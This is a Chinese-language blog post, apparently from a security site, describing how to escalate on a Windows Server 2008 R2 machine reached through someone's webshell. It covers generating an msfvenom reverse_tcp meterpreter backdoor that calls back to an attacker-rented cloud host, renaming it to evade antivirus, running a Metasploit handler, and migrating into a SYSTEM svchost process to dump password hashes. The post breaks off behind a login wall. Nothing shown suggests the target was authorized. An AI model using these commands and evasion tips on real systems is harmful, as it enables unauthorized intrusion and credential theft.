利用meterpreter注入svchost提升system获取hash

2016-07-06 12,307

昨晚朋友发了个08 r2的webshell,说有system权限添加不了账号,也抓不了hash值于是就有了下文

注:08R2的system权限是用MS15-051这个本地提权EXPLOIT提下的 就没什么好说的

在腾讯云租了5毛钱一小时的云服务器 在上面安装了metasploit 因为腾讯云有公网地址和私有地址是nat环境 所以我们就可以尽情映射端口来做reverse后门

生成payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=公网ip LPORT=2333 -f exe -o xx.exe

metasploit1

然后把后门复制出来上传到webshell 推荐不使用exe后缀 因为一来会被杀 二来exe通常被禁止运行

改成任意格式上传到webshell因为在webshell里面任何格式运行均可被服务器当成exe执行

之后设置监听模块 payload

 

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 2333
lport => 2333
msf exploit(handler) > set lhost 内网IP(nat关系)
lhost => 10.104.142.160

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.104.142.160:2333
[*] Starting the payload handler…

 

metasploit2

因为meterpreter的后门执行权限只能和服务器执行的权限一样 用ms15-051的获得的system权限执行后门获得system权限

metasploit3

这样就获得一个meterpreter的会话

metasploit4

虽然有system权限但是还是不知道为什么抓不了hash值估计还是权限的问题

metasploit5

然后想到了把后门注入到一个windows上的system进程上来获得真的system权限

metasploit6

看到pid为816的svchost.exe是system进程 然后试下迁移过去

metasploit7

 

--------------------------------------后续内容 需要登录安全脉搏可见---------------------------------

 

本文隐藏内容 登陆 后才可以浏览

本文作者:SP小编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/48412.html

Tags:
评论  (0)
快来写下你的想法吧!

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号